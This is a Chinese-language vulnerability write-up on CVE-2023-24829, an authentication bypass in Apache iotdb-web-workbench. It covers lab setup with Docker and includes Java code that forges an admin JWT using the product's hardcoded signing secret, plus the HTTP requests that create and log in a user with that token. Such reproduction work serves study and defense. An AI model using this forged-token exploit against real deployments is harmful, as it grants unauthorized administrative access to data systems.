Apache iotdb-web-workbench 认证绕过漏洞(CVE-2023-24829)
漏洞简介
影响版本 0.13.0 <= 漏洞版本 < 0.13.3
漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正确的身份验证漏洞
环境搭建
我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境
下载下历史版本的源码,下载之后利用 docker 搭建环境
需要修改一下 docker-compose.yml 将其中挂载数据库文件修改为
volumes:- ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db
直接在根目录下执行 docker-compose up -d 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs 查看日志信息
发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend 执行 mvn package 编译 jar 。 默认情况下都是依赖于 aliyunmaven 但是很奇怪这次编译时会提示无法从 aliyun 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。
进到 backend 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"
执行 docker build -t test:v1 . 编译镜像
编译之后,将 docker-compose.yml 中的 apache/iotdb-web-workbench:0.13.0-backend 替换为 test:v1
再执行 docker-compose up -d

访问 http://127.0.0.1:8081/#/login

环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。
漏洞复现
构造数据包请求保存用户时
提示没有登录
创建一个 java 项目
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;import java.util.Date;public class iotdb_CreateToken {private static String secret ="HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"+ "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";public static String generateToken(String username) {Date now = new Date();// Calendar instance = Calendar.getInstance();// instance.add(Calendar.HOUR_OF_DAY, 24);Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));return Jwts.builder().setHeaderParam("type", "JWT").setSubject(0 + "").setIssuedAt(now) // 签发时间.claim("userId", 1).claim("name", username).setExpiration(expireDate) // 过期时间.signWith(SignatureAlgorithm.HS512, secret).compact();}public static void main(String[] args) {String token = generateToken("admin");System.out.println(token);}
}
将生成的 Token 加入到之前的数据包中
创建用户成功,尝试登录
POST /api/login?name=test&password=123456 HTTP/1.1
Host: 127.0.0.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4{
}
登录成功
漏洞分析
org.apache.iotdb.admin.filter.TokenFilter#preHandle

在 TokenFilter 中 JJwtTool.getClaimsByToken(authorization); 从请求头中获取 token 并解析匹配
org.apache.iotdb.admin.controller.UserController#login

我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user)
org.apache.iotdb.admin.tool.JJwtTool#generateToken
生成 Token 的相关参数均是可控的,所以我们可以自己构造
相关文章:
Apache iotdb-web-workbench 认证绕过漏洞(CVE-2023-24829)
漏洞简介 影响版本 0.13.0 < 漏洞版本 < 0.13.3 漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正…...
【7-1】Redis急速入门与复习
文章目录1、分布式架构概述本阶段规划什么是分布式架构单体架构与分布式架构 对比分布式架构优点分布式架构缺点设计原则2、为何引入Redis现有架构的弊端3、什么是NoSql?NoSqlNoSql优点NoSql常见分类4、什么是分布式缓存,什么是Redis?什么是分…...
5、操作系统——进程间通信(3)(system V-IPC:消息队列)
目录 1、管道的缺点 2、消息队列 3、消息队列的API (1)获取消息队列的ID(类似文件的描述符)(msgget) (2)发送、接收消息(msgrcv) (3)获取和设置消息队列的属性(msgctl) 4、消息队…...
C++vector容器用法详解
一、前言vector 是封装动态数组的顺序容器,连续存储数据,所以我们不仅可以通过迭代器访问存储在 vector 容器中的数据,还能用指向 vector 容器中的数据的常规指针访问数据。这意味着指向 vector 容器中的数据的指针能传递给任何期待指向数组元…...
Log4j2的Loggers详解
引言 官方配置文档:https://logging.apache.org/log4j/2.x/manual/filters.html Loggers节点 Loggers节点常见的有两种:Root和Logger <Loggers><Logger name"org.apache.logging.log4j.core.appender.db" level"debug" additivity&qu…...
计算机视觉的应用1-OCR分栏识别:两栏识别三栏识别都可以,本地部署完美拼接
大家好,我是微学AI,今天给大家带来OCR的分栏识别。 一、文本分栏的问题 在OCR识别过程中,遇到文字是两个分栏的情况确实是一个比较常见的问题。通常情况下,OCR引擎会将文本按照从左到右,从上到下的顺序一行一行地识别…...
低代码平台如何选型, 43款国内外低代码平台一网打尽
目前,零代码技术和低代码技术越来越成熟,低代码平台也越来越被大家所接受,国内低代码平台厂商和产品层出不穷,到底哪家低代码平台好,企业如何选型,以下给出一些参考。 一、低代码平台如何选型 企业如何选…...
第六周作业(1.5小时)
一、PreparedStatement PreparedStatement也可以用来执行sql语句,但是需要注意:它需要用sql创建好PreparedStatement,而Statement不需要用sql来创建。 优点: 1、具有较好的可维护性和可读性,参数的分别插入减少了错…...
排序 (蓝桥杯) JAVA
目录题目描述:冒泡排序算法(排序数字,字符):String与String buffer的区别:纯暴力破解(T到爆炸):暴力破解加思考(bingo):总结:题目描述: 小蓝最近学习了一些排序算法,其中冒泡排序让他…...
【Blender 水墨材质】实现过程剖析01
写在前面 想把Blender一位大佬演示的Blender水墨材质过程,在Unity用Shader重现,过程中会拿能拿到的节点代码举例(ShaderGraph或者UE的都会有)。第一步当然是要跟着人家做一遍!我会尽可能地分析一下每一步的原理~ 教程…...
代码随想录算法训练营第五十六天|583. 两个字符串的删除操作、72. 编辑距离
LeetCode 583 两个字符串的删除操作 题目链接:https://leetcode.cn/problems/delete-operation-for-two-strings/ 思路: 方法一:两个子串同时删除元素 dp数组的含义 dp[i][j]dp[i][j]dp[i][j]代表以i-1为结尾的字符串word1,和以j-1位结…...
【ArchLinux】【KDE】Archlinux的安装与使用
文章目录开头前言所需环境演示环境相关链接安装教程在Windows环境下制作启动盘进入ArchLinux Live环境安装为硬盘分区如何新建分区?分区表格式化分区分区完成,开始安装挂载分区切换镜像源安装基本系统设置将Live环境(当前)挂载信息…...
Go语言精修(尚硅谷笔记)第六章
六、函数、包和错误处理 6.1 函数概念 不用函数的弊端 1)写法可以完成功能, 但是代码冗余 2 ) 同时不利于代码维护 概念:为完成某一功能的程序指令(语句)的集合,称为函数。 在Go中,函数分为: 自定义函数、系统函数 基本语法 //函数的基本语法 fu…...
Photoshop的功能
Photoshop是一款功能强大的图片编辑软件,它提供了数百种不同的工具和特效,让您可以编辑图片、创建图形和设计网页等。 以下是Photoshop的一些主要功能: 1.图层:Photoshop允许您创建多个图层,让您可以在每一个图层上进…...
C++初阶——内存管理
目录 1. C/C内存分布 2. C语言中动态内存管理方式:malloc/calloc/realloc/free 3. C内存管理方式 3.1 new/delete操作内置类型 3.2 new和delete操作自定义类型 4. operator new与operator delete函数 重要 4.1 operator new与operator delete函数(…...
uds服务汇总
还有一些服务列举在下面: RequestDownload(服务ID为0x34)和RequestUpload(服务ID为0x35):这两个服务用于在ECU和诊断器之间进行数据传输。通过 RequestDownload服务,诊断器可以请求ECU接收一些数…...
【深度学习】2023李宏毅homework1作业一代码详解
研一刚入门深度学习的小白一枚,想记录自己学习代码的经过,理解每行代码的意思,这样整理方便日后复习也方便理清自己的思路。感觉每天时间都不够用了!!加油啦。 第一部分:导入模块 导入各个模块࿰…...
【软件测试】基础知识第二篇
文章目录一. 开发模型1. 瀑布模型2. 螺旋模型3. 增量和迭代模型3.1 增量模型3.2 迭代模型3.3 增量和迭代模型的区别4. 敏捷模型4.1 敏捷宣言4.2 scrum模型二. 开发模型V 模型W 模型一. 开发模型 1. 瀑布模型 瀑布模型在软件工程中占有重要地位,是所有其他模型的基…...
Java中File类以及初步认识流
1、File类操作文件或目录属性 (1)在Java程序中通过使用java.io包提供的一些接口和类,对计算机中的文件进行基本的操作,包括对文件和目录属性的操作、对文件读写的操作; (2)File对象既可以表示…...
【C语言】文件操作详细讲解
本章要分享的内容是C语言中文件操作的内容,为了方便大家学习,目录如下 目录 1.为什么要使用文件 2.什么是文件 2.1 程序文件 2.2 数据文件 2.3 文件名 3.文件的打开和关闭 3.1文件指针 3.2打开和关闭 4.文件的顺序读写 4.1顺序读写函数介绍…...
1.解锁 Bootloader + 线刷 + 基带恢复,高通 EDL 模式自动化刷机(Python 脚本),解决黑砖 / Bootloop 难题
摘要 本文以工程化视角系统阐述主流品牌手机刷机维修的底层原理与标准化操作流程。覆盖高通、联发科、苹果A系列芯片平台的刷机协议、分区表结构、恢复模式触发机制及底层通信协议。提供可复现的Python自动化刷机脚本与adb/fastboot命令矩阵,解决变砖、Bootloop、基…...
RAG知识库生命周期①【第七篇】:文档新增修改删除,生产级向量同步更新方案
生产级 RAG 避坑实战合集【第七篇】文章简介:前面六篇我们搞定了文档解析、去重、文本清洗、Chunk切块、结构化元数据。绝大多数项目卡在这一关:文档内容变了怎么办?制度修改、数据订正、条款作废、资料更新。Demo可以删库重灌,生…...
5G网络‘身份证’系统深度游:从CU/DU架构看NCI规划,以及它和4G ECGI到底有啥不同?
5G网络标识系统解构:从NCI位宽设计到CU/DU架构的范式变革 当我们在城市中穿梭时,手机屏幕上那个小小的"5G"图标背后,隐藏着一套精密的网络身份识别体系。这套系统不仅需要在上百万个基站间实现无歧义通信,还要为未来网络…...
基于英创ARM9嵌入式主板实现双CAN接口的硬件设计与Linux驱动配置实战
1. 项目概述:为什么需要双CAN接口? 在工业自动化、汽车电子、新能源设备这些领域里,CAN总线就像设备之间的“神经系统”,负责传递各种控制指令和状态数据。一个CAN接口是基础,但当你需要同时连接两个独立的CAN网络&…...
【最新 v2.7.5 版本安装包】OpenClaw 零基础部署秘籍,无需命令零代码一键安装轻松搞定
🚀 OpenClaw 一键安装包|一键部署甩掉复杂环境配置 📌 适配信息 适配系统:Windows10/11 64 位 当前版本:v2.7.5(虾壳云版) ✨ 核心优势 全程可视化操作,不用命令行、不用手动配置…...
代码性能优化实战:基于OpenAI Codex的Python转C++专业工具深度解析
代码性能优化实战:基于OpenAI Codex的Python转C专业工具深度解析 【免费下载链接】codex_py2cpp Converts python code into c by using OpenAI CODEX. 项目地址: https://gitcode.com/gh_mirrors/co/codex_py2cpp 在当今高性能计算需求日益增长的背景下&…...
向量数据库在 AI Agent Harness Engineering 记忆模块中的关键作用
向量数据库在 AI Agent Harness Engineering 记忆模块中的关键作用 一、引言 钩子 你有没有遇到过这样的场景:花了3天时间搭了一个专属的AI学习助理Agent,刚上线的时候你告诉它“我对Python异步编程完全不熟悉,以后给我的讲解要尽量基础,不要跳过概念”,它当时答应的好好…...
电压跟随器:从原理到实战,如何用它解决信号传输的三大难题?
1. 电压跟随器:电子工程师的"信号保镖" 第一次接触电压跟随器时,我正被一个传感器信号传输问题折磨得焦头烂额。当时用STM32采集热电偶温度信号,明明传感器端测量正常,但MCU接收到的数值总是飘忽不定。直到前辈指着原理…...
Deepin Boot Maker终极指南:3分钟制作完美启动盘的免费神器
Deepin Boot Maker终极指南:3分钟制作完美启动盘的免费神器 【免费下载链接】deepin-boot-maker 项目地址: https://gitcode.com/gh_mirrors/de/deepin-boot-maker 你是否曾经为了制作系统启动盘而烦恼?面对复杂的命令行工具,担心误操…...
手把手教你学Simulink--电动物流车预充电路控制及主继电器粘连检测电机负载仿真
目录 手把手教你学Simulink--电动物流车预充电路控制及主继电器粘连检测电机负载仿真 摘要 Abstract 1. 引言 1.1 电动物流车发展背景 1.2 研究目的与意义 1.3 研究方法与内容 2. 文献综述 2.1 电动物流车预充电路研究现状 2.2 主继电器粘连检测技术进展 2.3 Simulin…...
